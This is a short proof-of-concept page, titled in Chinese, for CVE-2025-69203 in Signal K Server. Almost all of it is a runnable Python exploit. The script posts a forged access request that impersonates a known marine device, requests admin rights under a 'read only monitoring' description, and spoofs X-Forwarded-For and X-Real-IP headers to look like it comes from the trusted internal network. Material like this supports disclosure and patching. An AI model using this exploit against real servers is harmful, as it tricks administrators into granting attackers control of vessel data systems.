CVE-2025-69203 Signal K Server社会工程与IP欺骗漏洞

# CVE-2025-69203 PoC - Signal K Server Access Request Spoofing # This PoC demonstrates IP spoofing and misleading access request import requests import json TARGET_URL = "http://target-signalk-server:3000" def exploit_access_request_spoofing(): """ Exploit: Craft malicious access request with spoofed IP and misleading description Attack Vector: Combine IP spoofing (X-Forwarded-For) with social engineering """ # Step 1: Enumerate legitimate device names via information disclosure # (This would use the info disclosure vulnerability to get device names) legitimate_device = "navico-nss-mfd-192.168.1.100" # Step 2: Craft malicious access request # - Use legitimate device name for impersonation # - Request admin permissions # - Provide misleading description suggesting readonly access # - Spoof IP to appear from internal trusted network malicious_request = { "clientId": legitimate_device, "description": "Device firmware update check - read only monitoring", # Misleading! "permissions": "admin" # Actual requested permissions hidden from admin } headers = { "Content-Type": "application/json", # Spoof IP to appear from trusted internal network "X-Forwarded-For": "192.168.1.50", "X-Real-IP": "192.168.1.50" } # Step 3: Send malicious access request response = requests.post( f"{TARGET_URL}/security/accessRequest", json=malicious_request, headers=headers ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # The admin UI will now show: # - Device name: navico-nss-mfd-192.168.1.100 (appears legitimate) # - Description: Device firmware update check (appears harmless) # - IP: 192.168.1.50 (appears from trusted internal network) # - Actual permissions requested: admin (hidden/obscured) return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-69203 Signal K Server Access Request Spoofing PoC") print("=" * 60) exploit_access_request_spoofing()